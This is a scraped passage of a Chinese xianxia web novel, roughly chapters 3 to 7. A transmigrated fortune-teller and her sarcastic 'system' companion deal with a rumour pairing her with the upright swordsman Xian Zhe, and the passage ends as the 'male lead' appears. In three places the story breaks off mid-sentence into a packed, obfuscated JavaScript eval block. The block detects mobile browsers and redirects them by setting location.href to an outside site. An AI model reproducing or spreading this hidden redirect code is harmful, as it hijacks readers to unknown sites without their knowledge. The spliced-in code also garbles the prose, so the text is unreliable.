单纯少年即刻掏了个储物袋递来：“周仙长收下吧，我昨日便想给您的，您却推拒我说只收定金，但现今我无论如何也得给您了。” 不错不错，天之骄子果然很有眼力见。 周玉衍淡淡开口：“既如此，我也不多推却了。你天资很好，定能在修炼一途登峰。” 少年听了这话大喜过望，连连道谢，恭敬行礼后才转身御剑飞天。 周玉衍面上扬着欣慰的笑，目送他离开——总共二十万灵石啊！宗门首席弟子就是有钱啊！ 前段时间那个天煞孤星也很有钱，那一单她也赚了六万灵石，果然这些命格特殊的才是她的算命目标。 周玉衍喜滋滋坐回她的摊位上，觉得她的赚钱路何止是一片光明，简直是璀璨耀眼。 她就要沉浸在快乐的赚钱美梦中，眼前白影一晃，晃花了她的眼。 羡折在不远处他自己的摊位前落地，理了理因为轻功飞跃而有些乱的袖袍，坐到摊位上拿出卦签，认认真真开始掐算。 这活计周玉衍也很熟悉，掐算一日的凶吉和会找上门来的有缘人。 “你怎么每次都看羡折这么久？”系统的声音响起，“抢人家生意心虚？” “不对，你肯定不会心虚这个，你肯定是想着怎么把人家搞死，好垄断这整片的生意。” “但要我说真不太可能。同是顶尖宗门的人，羡折虽然也是在宗门内惹了事被罚来出摊，但人家看着比你仙风道骨多了，你也就忽悠人付钱的时候有几分世外高人的模样。” 它刚刚气消开机，还以为周玉衍会照常损它两句，于是决定主动出击先发制人，没想到她竟然低低叹了叹气。 “仙是够仙的了，”周玉衍叹道，“可惜命短呐。” 周玉衍看着那道亮到刺目的白，那拿着卦签也像在握剑刃的凛然姿态，很难不又一次出神想到这人的结局。 顶尖宗门的首席弟子，剑术无双，可惜人太烈，遇事根本不愿拐一点弯，也容不下眼底尘，没顺着宗门那些人的意思行事，在宗内很受针对，三番四次被引死路绝境。 但他心性清正坚定，命也大，剑术也当真是一等一的好，再怎么磕磕绊绊又颠沛流离，他也走出来了。 只是在他飞升前期，天下事变，万鬼出世，他为救世放弃飞升，一人一剑破开被阴魂遮蔽的天光，散掉自身修为灵力，死在山河重新清明、万鬼烬灭的那一日。 也是死在……他自己的道义之下。 周玉衍收回眼，接上系统刚才的话：“我可是良好市民啊，也就治治你。羡折这样的人我哪能下得了手，想救他还来不及。” 可她虽然真挺想救一救羡折这位大义的短命仙人，但她的金手指仅是个有点预知能力、还时不时卡死机要歇半天的小破系统。 无能为力啊羡仙长。 周玉衍伸了个懒腰，从摊位上站起：“愁啊。” 4. 第 4 章 周玉衍愁什么？那自然还是愁她又要吃那个味同嚼蜡的辟谷丹了。 而且她还不能当吃药那样吞，得一点点嚼碎，同时用灵力引着辟谷丹的药力入体。 “这一日三餐只能吃辟谷丹的日子什么时候才能是个头……” 周玉衍哀嚎：“原主怎么这么喜欢给自己找罪受啊！偷偷摸摸修什么冰清玉洁的功法，搞得吃饭是摄入杂质，喝灵泉外的水也是摄入杂质，我还有整整一年才能断了这破功法啊——” 系统：“你知足吧，你是身穿，这只是设定问题，再坚持一年断了功法就好了，要是魂穿，原主身上的噬魂钉穿骨刺可有你受的。” 周玉衍：“你就不能跟我说说，原主身上为什么那么多乱七八糟的伤吗？” 系统警惕道：“书里没写的内容，我现在真不知道的，相关情节被上了剧情锁，只有任务推进了我才能拿到钥匙，真没骗你，你别炸识海啊！” 周玉衍看着识海中的白色光团窜来窜去，啧声道：“怂。” 系统：…… 系统还要争辩，周玉衍拿出卦签下达指令：“工作了，算算今天有没有人找上门，没有的话中午我就收摊了，我听说掌门这几天都要出宗下山，可千万别给我遇上了。” 系统：“……你吃人家灵果的时候怎么就不知道躲？为一个灵果惹了宗内掌门被罚来出摊，搞不好人家是来监工的。” 周玉衍没那么理直气壮了，她小声道：“你也没提醒我说不能吃啊。” 系统：“我哪知道你捡起来看了一眼直接就往嘴里送啊！我说别吃的时候你嚼都嚼碎了！” 周玉衍这回没反驳。 好吧，她承认，这事她也有错，她手疾嘴快，确认是个灵力极其充沛的灵果后，嘎嘣一下就给吃了。 但是啊，但是—— “最多各打五十大板。”周玉衍道。 谁叫那灵果就放在她洞府门口呢，还洗得干干净净垫着张雪白帕子放着，她一出关看见跟前放了个灵果，可不就以为是给她的嘛。 谁知道那竟然是掌门准备用来突破化神的灵果。 周玉衍想到那时她刚吃完灵果就被抓去掌门大殿严刑拷打，颇有些丧气：“掌门自己找的那人也不靠谱嘛，送货上门都能找错地址，掌门的洞府不比我这小洞府奢华多了。” 系统立刻邀功：“要不是有我在，那天受鞭刑你痛都要痛死在那儿了。” 周玉衍叹气，路边的野花不要采，门前的灵果不要吃啊。 毕竟吃了人家拿来突破境界的灵果，她确实有些心虚，加上系统能屏蔽痛觉，所以掌门的判决一下，她半点反抗的意思都没有，老老实实跟着长老去领罚，受刑后她的住处从长老住的大院子被调到普通小院子，她也没去要说法。 其实对于她来说，小院子也根本不小——赶上现代的别墅大小了，原先那长老规格的院子大得她出门都用飞的，在她刚穿过来时可把她折磨了一顿，每天出个门都能累死。 而下山出摊更算不上什么惩罚了，不过她也能摸到宗门人的想法：贵为宗门修士，被扣了月钱下山谋生计多丢人，简直是修道生涯的一大耻辱。 周玉衍丢了颗辟谷丹进嘴里：“要是不用吃这辟谷丹就更好了，完美的惬意生活啊——系统你算完没有？今天有没有人找上门？” 系统：“算完了，有。是……” “羡折。” 似冰凌的声音响起，一道白色身影晃到了她的面前：“——周仙长可得闲？” 这几句话就能冻死人的气势和声音，周玉衍僵了一下，抬眼对上了羡折沉静的眼睛。 他再次开口，声音缓和了一些：“周仙长可得闲？我见你方才在吃辟谷丹，不如与我一同去茶馆点些吃食吧？有些话……许久前我便想与你说了。” 三年前一别，到一年前再见，羡折还是这副生人勿近的模样。 周玉衍现在都能想起，自己刚被罚出宗来到这街市时，看见羡折竟然也在此地的震惊。 听着对方依旧规矩循礼地一声声喊着她“周长老”，她实在没好意思，严肃纠正了好长一段时间，才终于让他改口，像旁人对修士那样喊她“仙长”。 但羡折本就冰冷的语调没了敬称挡在前头，更让人觉得又冷又硬，很像那种来找茬的。 她被冻得一个没留神，嘴里的辟谷丹直直咽了下去。 周玉衍心都凉了半截，对系统道：“完了，辟谷丹我没嚼两下，药力还没引完。” 她悲愤道：“这辟谷丹也成杂质了！” 羡折见周玉衍用一副哀痛欲绝的神情瞪着他，迟疑着又缓和了点语气：“周仙长若是有要事在身，那就改日，我日日在此，你得了空，我就随时可来邀你。” 周玉衍“唰”地一下收了卦签：“我只是被羡仙长吓着了，可没有什么要事在身，更不是被辟谷丹噎到。” 羡折：“周仙长说笑了。” 周玉衍有一种阴阳人打不过真诚怪的无力感：“哪个茶馆？街口前的茶馆吗？你想与我说什么？” 羡折：“很重要的一些事，一年前，周仙长来到此地的第一日，我见你那般给旁人透露命线时，就想与你说了。只是……担忧是我妄下定论，太早与你说会有些冒昧。” 系统：“嚯，这是找你算账来了，人家算命严格遵守职业道德，你一上来就开挂抢他生意。” “虽然说抢生意也有点怪——毕竟他之前算卦可不收钱，被你忽悠了一通后才定了低价收起费来。” 周玉衍也有所预料。 她刚开始摆摊时，可都是去截那些找羡折算命的人，等人家在羡折那里算完了，她就冲上去告诉那人，羡折口中的“天机不可泄露”究竟是什么天机，顺便还附带了后面的命线发展。 她这一套下来，轻易就打响了名声。羡折有职业道德，不该说的绝口不提，但她可没有，不该说的照样说。 好长一段时间里，羡折都会偷偷瞪着她，又在她看过去时移开目光。 周玉衍也有些不好意思这么跟羡折抢客户，所以才劝他收费，这样一来好歹羡折不会白白被她抢了客户，她教了羡折赚钱嘛…… 然而她每次提到这事，系统都会说羡折不是在乎那点银钱的人，这是她“自有歪理”。 周玉衍有时也觉得，跟羡折这种正直到刻板的人站在一起，她还真就是个“歪理”。 比如现在—— 羡折肯定是受不了她毫无职业道德的行径，要给她来个大摊牌了。 但周玉衍也没多在意，她现在更多的是灰心丧气，满脑子都是自己又摄入杂质了晚上又要痛得没法睡了。 二人走到茶馆，羡折熟练地沏茶递来，周玉衍没想到他一副十指不沾阳春水的模样，竟然还会沏茶，原本她还想借口说喝不惯外边的茶，这下却不得不接过道谢。 周玉衍：“系统，你说我要是一直不喝这茶，是不是有些太甩脸色了？” 系统：“可你喝了杂质积得更多，等着在床上痛得打滚吧。” 周玉衍：…… 她瞬间就抛掉了刚才那点礼尚往来的心思，手一滑，杯盏脱手坠下，滚烫的茶水倾洒而出，与此同时周玉衍在心中喊着系统：“准备准备，屏蔽痛觉。” 然而在茶水倒在她身上的前一刻，眼前白影又是一晃，随着椅凳的一声“滋啦”，她感觉自己被人迅速拉起，半抱在怀中急急撤后几步。 清冽的霜雪气充斥周身，耳边有男子微沉的气息声，略有薄茧的手一只紧抓着她的手腕，另一只则虚揽在她腰身，她低头去看，骨形十分漂亮。 不知是她还是身后人的发丝垂落前飘，她的眼神也随着发丝飘动。 滚烫茶水洒到地面，发出滋滋声，而二人这番动作幅度也不小，引来茶馆许多人的注意。 “啊呀，这是怎的了？泼了茶了？” “没烫着人吧？是哪桌……羡、羡仙长！周仙长！” 周玉衍回过神来，羡折也松了手，还将她被拉起身带起的袖口自小臂处盖回手背，接着退远行礼道：“抱歉，周仙长。事发突然，冒犯了。” 他垂眸敛神，直盯着地面，周玉衍却看清他紧抿的唇角和微红的耳尖。 系统也看见了，还很是无语：“不是，这袖子连关节处都没滑到，冒犯啥啊，修仙归修仙，我看这剧本设定也没这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083911|179486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么古板啊？这里边还有合欢宗的戏份呢！” 周玉衍感慨道：“果真是名门正派教出来的人，规矩比我口袋里的钱还多，不过那些刻板教条，怕也仅仅他一人遵守。” 她开口道：“羡仙长不必道歉，是我手不稳洒了茶。” 羡折闻言唇角抿得更紧，好半天才接话道：“今日……实在抱歉，叫你受惊了。” 他自储物戒中拿出两瓶丹药，用灵力控制着飘到周玉衍面前：“不知茶水可有溅到你，只是我身为男子，也不便探查，我送你回宗门，你服药歇息。” 见他这副样子，周玉衍都有些不好意思了，毕竟手是故意滑的，这茶是她故意洒的，喊系统屏蔽痛觉是一瞬都用不到的，她只是不想摄入杂质，没想着坑羡折丹药。 系统：“好人啊，就是有点笨，还有点败家，这两个药瓶一瓶是修复灵露，一瓶是疏络蕴灵的丹药，少见的好东西啊，你体内那点杂质有救了。败家败家，这等品阶的疏络丹，就这么随意送人……” 周玉衍原先见着羡折愧疚又认真的道歉，本来也冒了一点愧疚出来，听了系统这话直接抬手收了浮空的药瓶：“羡仙长这般，我也不好推拒，那便有劳羡仙长了。” 系统：“你要点脸行吗？” 周玉衍在识海中轻轻拍了拍自己侧脸，弯眼笑道：“我的脸不是在这儿嘛，自然不需要多余的脸。” 系统：…… 周玉衍心安理得地跟着羡折在一大茶馆人的灼灼注视下出了街口。 羡折正要御剑，却突然想到什么，手拉着袖口边一折，攥进手中，让衣袖盖住了他的掌心，然后才将手伸前：“若要御剑，我得抓着你的手……只能这般隔着袖子，你、你介意吗？抱歉，非是冒犯，只是我现今身上有伤，灵力不够完全护着另一人御剑。” 周玉衍见他这副举动，都有些呆滞，她咽了咽口水，觉得自己才像那个冒犯的人。 “系统，我觉得羡折不应该在古代修仙，他应该去英国留学。” 她搭上羡折的手，隔着衣物都能感受到他有些局促，御剑飞得极快，好在虽是快，却也稳，并没有横冲直撞，他的灵力结界支得很严实。 二人在天云宗前落地，羡折行过礼后，就一声不吭再次御剑，极快地飞走了。 周玉衍有些好笑：“我猜他肯定后悔说要送我回宗门了。” 系统：“不会吧？羡折的性格干不出半路把你从剑上踢下去的事。” 周玉衍进了宗门，边走边倒了颗羡折送的丹药吃下：“死命遵循什么东西的人，往往都是被自己遵循的东西折了骨的。” * 第二日，周玉衍为了躲避出宗的掌门，下午才来到街口，正往自己的摊位走去时，却听见一声高喝：“九州驿报头条——日月宗首席弟子羡折有道侣了！” 她瞬间竖起了耳朵：“诶诶！来份驿报。” “好嘞！” 卖报小童收了铜钱后递来一份驿报，得意道：“这位仙长也是好奇羡仙长的事吧？啧啧！我都没想到，羡仙长那副模样，私下还挺……大白天呢，外头这么多人，就跟道侣搂搂抱抱了。” 周玉衍也没想到，羡折这朵高岭之花原来早就有主，难得有了点八卦的心思，一边接过驿报一边问道：“这头条管真吗？” “真！可真了！我兄长亲眼见着的！就在街口前的茶馆呢！就昨日傍晚那会儿，许多人都看见了！” 周玉衍眼睛一亮：“昨日傍晚我也去过茶馆，羡仙长确实是在茶馆，不过他身边没有旁人啊……” “有的有的！”小童激动道：“我哥哥那会儿就在茶馆，一手头条！” 周玉衍随口问道：“往常是你哥哥管驿报的事吧？今天怎么是你吆喝了？我还从没见过你。” 卖报的小童突然有些结巴：“我、我……正好学塾下学，哥哥忙不过来了，我就来帮帮忙嘛。” 周玉衍微讶，这会儿正值各宗门学塾春招，可不是放假的时候。 但她见小童模样局促，思及各宗门的乱事也不少，还是没多问，只点点头后迫不及待地翻开了报纸。 “周玉衍”三个大字即刻映入眼帘。 5. 第 5 章 周玉衍一愣，定睛看下去，细细读完报道后，刚才燃起的八卦之魂消散得连影子都不见了。 她心如止水地合上驿报，叹道：“能退货退钱吗？” 卖报小童没听见她的低叹，还在高声宣扬“羡仙长与其道侣如胶似漆！”“指不定择日便成婚了！”“来一份来一份，今日……不，这月的头条！” 周玉衍：“你知道羡仙长的道侣是谁吗？” 小童立刻停下吆喝答她：“自然！报上不都写了嘛，羡仙长的道侣名叫周玉衍，也是同他一样给大家算命的好仙长。” 他嘀咕一声：“不过听说她收费比羡仙长贵。” 周玉衍：…… “可惜我没见过周仙长。听说周仙长也来了咱们街市大半年了，只是我昨夜才从学塾归家，又碰巧周仙长今日没来摊位。” 小童继续嘀咕：“倒也能理解嘛，就跟哥哥说的那个分工……分工什么来着？就是羡仙长算便宜的，周仙长算贵的，像咱们这种没钱的就去找羡仙长算，那些有钱的宗门弟子就去找周仙长算……” 他像是突然顿悟了什么，大喊道：“对对！想起来了！我哥说家里家外都是嫂子话事，男人就该上交银钱给自家夫人！分工明确！嫂嫂负责管钱管哥哥，哥哥负责跪地讨嫂嫂欢心！” 小童自觉明悟，挠了挠脑袋，有些嫌弃道：“那看来羡仙长不太行啊，赚得没周仙长多，日后怎么娶她啊？这得跪多久才能讨着周仙长欢心啊？” 周玉衍：…… 周玉衍心中的小人儿双手合十安详躺下：羡折啊羡折，你的一世英名可不是我毁的啊，你要是知道了这事，可别来找我报复。 她看着不远处空无一人的算命摊，在心中对系统道：“系统，你说羡折那样在乎礼法的人，怕不是今天一早来到这处听了这谣言，气得回宗门了？平时这个点他可还没收摊的。” 识海中的系统原本跟着周玉衍一块儿燃起了八卦之魂，结果激动一番后得知这头条其中的人物竟然就是她这个没谱的宿主，顿时死寂，这会儿也没搭理她。 周玉衍倒也不恼：“你说，我要不来一句：‘不才，正是在下’？” 系统：“可别了，孩子还小呢，给人家留点对爱情的美好幻想吧。” 周玉衍：…… “回宗门回宗门。” 她告别小童，御剑就往宗门飞去。 系统：“这不是刚出来吗？怎么就要回去了？” 周玉衍：“头条人物了，避避风头。” 系统：“担心什么，没那么夸张，你看，你刚刚去街上都没人上前问。” 周玉衍想了想，还真是，只有那个小童一直在吆喝，平时街上她眼熟的一些人却都是垂头塞耳的模样。 但她还是决定回宗门，因为怕见到头条人物的另一位。 正杵在风口浪尖上呢，这会儿她要想澄清什么，得去找权重高的人，去街口找驿报的人怕是只会成为个街头采访现场，没有的也传成有的了。 她这下子终于明白，昨天她跟羡折出茶馆时，那些灼热的视线是什么了——那是八卦之魂在汹汹燃烧。 周玉衍有些心累，惭愧啊惭愧，祸害到羡折了。 她从剑上跳下来，才刚刚踏了半只脚进到宗门，便听见一声怒气冲冲的高喝—— “周！玉！衍！” 这熟悉的声音。 周玉衍深深吸气，朝着声音传来的方向走了还没几步，那方的人却是等不及了，提着裙摆“哒哒哒”跑来，边跑边喊：“好啊！你倒是很自觉，我正要派人去街市抓你呢！” 来人很快地跑到了她跟前，扬着盛气凌人的漂亮脸蛋怒道：“怎么，你还知道要来给我道歉吗！” “小祖宗……” 周玉衍看着面前十几岁的少女，颇有些头疼——穆芸清，掌门之女，脾气暴烈——当然，这暴烈可能只是针对自己，毕竟外边许多宗门的人都夸赞过她温柔可人。 拿人手短，吃人嘴软，周玉衍到了穆芸清这儿，就是一个手和嘴都没了的状态。 她刚穿过来那会儿，在宗内的身份还很高，住的院子离穆芸清很近，二人经常碰面，彼此都端着架子微微颔首便算招呼。 直到有一天，周玉衍嘴馋得不行，报着宁愿痛死也不要馋死的赴死决心，静音了在她耳边叭叭叭“你的功法受限不能乱吃东西那全是杂质”的系统，换了身行头准备去后山偷鸡摸狗。 当然，只是字面意义上的偷鸡摸狗。 周玉衍快乐地抓了两只健硕的山鸡，正在给它们人道主义时，看见了同样在给一只肥得流油的大山鸡开膛破肚的穆芸清。 二人面面相觑，穆芸清僵硬地洗干净了自己鲜血淋漓的手，周玉衍也有点尴尬，这是她第一次被人发现——她，崩人设了。 但好在系统早就被她驯听话了，也没什么阶段任务失败的电击程序要电她，所以人设崩了就崩了，周玉衍一直很相信：要是能把看见她崩人设的人“嘣”掉，那就等于她没有崩人设。 于是她掏了一把火灵符，加上若干生姜花椒辣椒粉，向穆芸清发出邀请：“一起吃？我……还挺会烤山鸡的。” 她觉得穆芸清也有点崩人设。 穆芸清听了她这话，两眼放出的光比她这个馋嘴馋了大半年的人还夸张，最后是两个人像两个饿死鬼一样啃完了三只鸡，麻溜地处理了作案现场后，重新端着架子微微颔首，然后转身各回各屋。 后来周玉衍才发现，穆芸清偷鸡摸狗的次数比她可多多了，只是贵为掌门之女，烤山鸡的技术很有限，但平时管教严格，极少能享点口腹之欲，最终还是走上了偷鸡摸狗的道路。 周玉衍干脆拎着山鸡去利诱穆芸清，三句话的功夫就把她拿下了，从此周玉衍负责抓鸡烤鸡，穆芸清负责吃和付钱。 掌门之女家底丰厚，出手也大方，周玉衍数着单独装着穆芸清送礼的储物戒，恨不得她能顿顿三只鸡。 只是后来自己无意吃了掌门用来突破的灵果后，二人便再也没一起偷鸡摸狗过了，从前穆芸清还会提着裙摆转圈问她这身衣裳好不好看，那之后她却只会提着裙摆“哒哒哒”跑来冲着自己怒喝了。 “周玉衍！你说！” 穆芸清怒气冲冲的声音扯回了周玉衍的思绪，她叹息道：“小祖宗，您说。” “行！那我说！我问你——昨日酉时，你在哪里！” 周玉衍：“街口摆算命摊呢，绝对没有背着你偷鸡摸狗。” 穆芸清闻言一愣，微红了眼，却是咬牙道：“谁问你这个了！我是问你那会儿在做什么！与谁在一起！” 周玉衍想到昨天自己坑了羡折两瓶丹药，又想起刚刚看过的驿报头条，良心隐隐作痛，抱着别教坏小孩的心思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周玉衍头大得很：“不是不是，误会啊，江湖小报乱传的，我跟羡折是良性竞争的同行关系……” 她话还没说完，灵力波纹荡起宗门的护山阵法，那如冰凌的声音响起，虽然没有刻意用灵力扩音，但因为她现在就站在宗门入口的山道不远处，还是清晰听见了—— “日月宗羡折，来向周仙长负荆请罪。” “我无意冒犯，却引流言毁人清誉，万分抱歉。还请周仙长见我一面，她想如何待我……便如何待我，我绝不反抗。” 穆芸清“呵”地笑了一声，凉凉道：“良性竞争的同行关系？我看是提亲来了。” 穆芸清大吼：“你还想瞒我骗我！” 周玉衍震惊了。 见证谣言的诞生啊！ 她也忍不住大吼：“不是！他哪句话说到提亲了？怎么就变成提亲了！” 冰凌坠地。好几息后，羡折的声音再次传来：“……若这是周仙长所愿，提亲……也可以。” 他的声音小了很多，带着一点勉强克制的颤意：“我、我愿担责。” 穆芸清：“这句提到了。” 周玉衍：…… 周玉衍在心中哀嚎：羡折！羡仙长！你清醒一点！咱们最多也就算抱过，不要说得好像睡过了一样啊！！！ 6. 第 6 章 但周玉衍没敢把这话喊出来。 她怕她话刚说出口，二人就变成睡过的关系了。 周玉衍重重叹气，踏着山道走到宗门入口处，想先把羡折请进来。 结果她探头一看，羡折竟然真的背了一捆荆条，维持着躬身行礼的姿势，听到她的脚步声后，才抬头看来。 二人对视，羡折的眼底稍起波澜，却并未错开目光，周玉衍清晰看见其中的认真。 她心道罪过罪过，羡折可不像自己一样满嘴瞎话，他说负荆请罪就真是负荆请罪，他说提亲也就真是打算提亲。 周玉衍肃了神色，郑重道：“羡仙长当真不必如此，不过一些误会引起的流言而已，算不得什么。” 羡折也郑重道：“今早我得知此事后，已告诫过传谣之人，当时在街市中的人我也一一警告过，叫他们莫要再传谣，只是后来得宗门传令，我回去了一趟，再来街口才知竟有小童到你面前宣扬了此事，我……” 他像是愧疚难言：“……我很抱歉。” 周玉衍想了想羡折冒着浑身冷气去警告人的场景，没忍住笑了笑：“我不在意，是羡仙长太当真了。” 羡折抿了抿唇，仍是认真与周玉衍对视：“是我处事不够周全。茶盏过烫，我却直接就递给你，这才有了后面的一切……周仙长，赔礼我明日送上你的宗门来，往后你若有何需要，我也定会尽力。” “还有……”羡折的声音渐轻，“提亲之事，若是周仙长所愿，我也当真愿意担责，周仙长不愿，我……我也不会再提。” 周玉衍一听见“提亲”就头大，悄悄瞥了眼在侧方看好戏的穆芸清，对方眼睛瞪得像是要把她一脚踹出天云宗的大门。 她赶紧摆手道：“羡仙长不用赔礼，也不必多想，咱们满打满算也就是抱过一下，我与你皆是修道之人，不必拘泥于这些，拥抱很寻常的，好些江湖中人擂台比试打起兴了可都还抱着转圈呢！” “羡仙长放心，我当真不介意，你也别在意了。” 羡折沉默许久，才终于垂下与她对视的眼，低低应了一声：“好。但赔礼还是要的，周仙长莫要拒绝。” “我先……回宗门，明日将赔礼送来，不过，方才我所说周仙长日后有需要可来找我，一直作数。” 周玉衍只好点头，目送着羡折御剑离去。 可算送走这一板一眼的老实人。 周玉衍才刚刚松口气，穆芸清就晃悠到了她身边：“算你还有点良心，没就这么答应了——我父亲找你，你自己去大殿跟长老们解释这事吧。” 周玉衍警惕道：“什么叫‘跟长老们解释这事’？江湖小报……传得这么远呢？” 穆芸清没接话，扬着下巴冲她冷哼了一声，又“哒哒哒”地走远了。 周玉衍琢磨了两下，应该是穆掌门这几日出宗下山听见了这些流言，否则寻常那些街口传闻传不到宗门里头的。 她轻功飞去掌门大殿，刚一推门便被几十双眼睛盯住，周玉衍粗略一看，似乎宗内所有长老都到了。 系统：“这么大阵仗？这次又是找你算什么账啊？” 周玉衍没好气地说：“你不是掌握剧情还有预知能力的系统吗？你问我话呢？” 系统委屈道：“这不是受男主bug的影响，很多剧情都被锁住了嘛……等男主出现了你推进任务了，我就无所不知了。” 周玉衍：“三年了还没修好bug，在我原来的世界，你这处理速度都被淘汰好几轮了。” 系统很不服气：“我可是能拉不同位面的魂魄绑定识海的高端人工智能！你竟然拿我跟那些差了好几个世代的家伙比！！你等着！我这就去跟主脑提交升级申请，给你下发做不完的任务累死你——” 周玉衍没跟系统拌嘴，因为在她刚一脚踏进大殿内时，就有长老大喝一声：“周玉衍！你可知罪！” 紧接着传来穆掌门的声音：“谢长老莫要激动，虽说周长老此举不合适，却也称不上可论罪。” 周玉衍迟疑着低头看了下自己迈步的顺序——她也不是左脚先踏进门的啊？ 谢长老没顾掌门的劝阻，依旧喝道：“周玉衍！你身为我天云宗长老，竟然与日月宗弟子私定终身！简直丢了我天云宗脸面！” 周玉衍很是疑惑：“我不是早就被卸了长老之任吗？” 谢长老一噎，刚想辩驳，周玉衍接着道：“要说丢脸面，各宗门不是都觉得下山去街市出摊最丢脸面吗？你们都叫我去做了这最丢脸面的事了。” “那是惩处！旁人皆知那是因你在宗内犯错，丢的是你自己的脸面！可你与日月宗弟子厮混，丢的是我们两个宗门的脸面！” 周玉衍瞥他一眼：“我却觉得谢长老这般听风就是雨、还大肆宣扬流言的举动，才更丢我天云宗脸面。” 话完她上前几步来到大殿中央，并没有行礼，而是直直望向座前的穆掌门：“掌门，外边传闻皆是无稽之谈，我提前回宗也正是为了借宗门之力澄清此事，想来日月宗也会很快发布声明，流言将止。” 穆掌门：“日月宗的人确实在正午时与我通讯过，只是……” 他沉思一番，才再次开口：“那日月宗大弟子，名为羡折？” 周玉衍：“是。” 穆掌门：“既是羡折，你若对他有意，我便准了此事。” 这话一出，众长老即刻沸腾。 “掌门！这如何使得！一个长老一个弟子！” “不论罪都罢了！怎还能应允此事！掌门三思！” “身为长老，若想找道侣，再如何也该与别宗长老结契！我看临近的神木宗沈长老就很不错，改日可上门拜访问问他可愿意联姻。” 周玉衍在心底翻了几个大大的白眼：一个比一个有病。 还说什么“准了”，整得跟皇帝似的，还有联姻，都修仙了还整这套，知道问人家愿不愿意，怎么不知道问问她愿不愿意？ 周玉衍慢悠悠道：“方才是谢长老说要与神木宗沈长老联姻？可我记着沈长老并非断袖，谢长老还是歇了心思，否则闹出去实在不好听，丢我天云宗脸面。” “掌门也别说什么准不准了，术业有专攻，这大殿内所有人说的话，都不如我的话准。” 谢长老暴跳如雷，带起许多长老开始说着她“毫无规矩”“曲解良言”。 周玉衍神情平静，她将元婴期的威压一放，大殿瞬静。 她满意道：“还知道安静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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系统精神了，它这从不配合自己的宿主竟然主动提出要做任务，可真是再好不过：“我这就再去催催申请进度！” 周玉衍鼓掌：“很好！我们要一起为了剧情为了任务努力。” 识海内系统的白光比之前亮上了好几分，周玉衍无声轻笑，这系统倒是很好糊弄。 她总觉得有些不对。 或许是因为自己穿来成了原主，她实在很好奇原主的剧情线，毕竟与她息息相关，还是早点弄清楚比较好。 * “周仙长。” 周玉衍刚一落地，就见羡折等在了她的摊位前。 “我昨日说待今日将赔礼送去你宗门前，只是……今早我过去时，被昨日你身旁那位修士拦住，我别无他法，只能在此处予你。” 羡折递来一个储物戒：“周仙长放心，这方不会有流言再起。” 周玉衍点点头，收了储物戒：“此事翻篇，羡仙长不必再多想了，你已赔礼，我已收下，日后照常相处即可，我也从没觉得你冒犯过我。” 羡折的神情似乎有些犹豫，但也没再提这事，只是还是对着周玉衍行了一礼。 周玉衍跟羡折客气了几句，正疑惑羡折这人今天怎么这么多话，识海中的系统却突然白光大作。 “宿主！好消息！”系统大喊，“男主出现了！” 7. 第 7 章 周玉衍讶然：“男主？你的bug修好了？” 系统不满道：“本来也不算什么大bug嘛，只是一点点小差错。” “主脑通过我的申请时，给我升级了程序，我能感知到的东西更多了——男主就在附近！” 系统激动道：“原来男主早就出现了！只是他的身上似乎也出了什么差错，我的检测系统没能判定到，但现在我能感受到他了！” 周玉衍很是惊讶：“男主在哪儿呢？” “就在附近！快快快，右边第三条小巷子穿过去！” “男主跟人打起来了！” 周玉衍也没功夫搭理羡折了，她二话不说轻功跃起，跟着识海中系统的导航穿过小巷，又在这片街市七拐八弯了许久，终于在绕过一处正敞着大门升着炊烟的土房后，听到系统的大喊：“停了停了！就是这儿！男主就在这里！” “哪儿呢哪儿呢？”周玉衍东张西望。 这方街市连着后边的一片村子，尘土飞扬，比她摆摊的西门口那条街市还要吵嚷，屠户砍牛羊的声音和菜摊的吆喝此起彼伏，血水的腥味与沟边馊水的腐味融在了一起，空气也像流水，漫到她的周身，脚下湿湿黏黏。 周玉衍怀疑系统的导航是不是出错了。 男主是世家出身的气运之子，可能一辈子都没来过这种地方，毕竟这里既没有能助他升阶的法器秘宝，也没有能陶冶情操的诗词歌赋，这里只有还没被处理好端去他桌上的菜肴。 她懒声道：“怎么着，男主来这儿体验生活了？想尝尝他以为的人间疾苦？” 系统也有些迟疑：“我检测到的……男主就在那土房里面。” 周玉衍思索着：“可我总不好就这么大摇大摆闯进别人家吧？你知道我刚从巷子窜到这地儿，就已经享受了僧人进妖洞的待遇吗？” 她话完回头，跃过四方闪烁的如刺眼神，朝自己过来的方向望了望——这地方离西门口的街市很远。 系统毫不在意：“天上掉个人下来，换你旁观你肯定也会盯着看嘛。” “不过直接闯别人家门是不太好，你找个偏僻的地方施法隐匿了身形再过来？这条街上都是些仅有一点灵力、难以修行的人，施法时还是避着点，别吓着人家了。” “吓着？”周玉衍轻声重复。 系统：“是啊，这不还敞着门烧饭吗？你别来个瞬移把人家吓得没胃口了——倒是民风淳朴嘛，都不用担心小贼。” 周玉衍嗤笑一声，即刻飞身跃上了屋顶，根本没搭理系统的话。 “男主是哪个？这土房中除了最里面那间屋子的一家老小，就剩正在添柴的小孩了。你刚刚不是还说男主跟人打起来了吗？” 周玉衍放出神识探查了一番屋中情形后，更加怀疑系统找错了地方。 系统原本还想吐槽几句说她这样上屋顶难道还不算大摇大摆吗？结果它也很快发现不对，这屋子里的人看模样没一个符合“男主”的标准。 它犹豫开口：“我检测到的就是……在添柴的那人。” 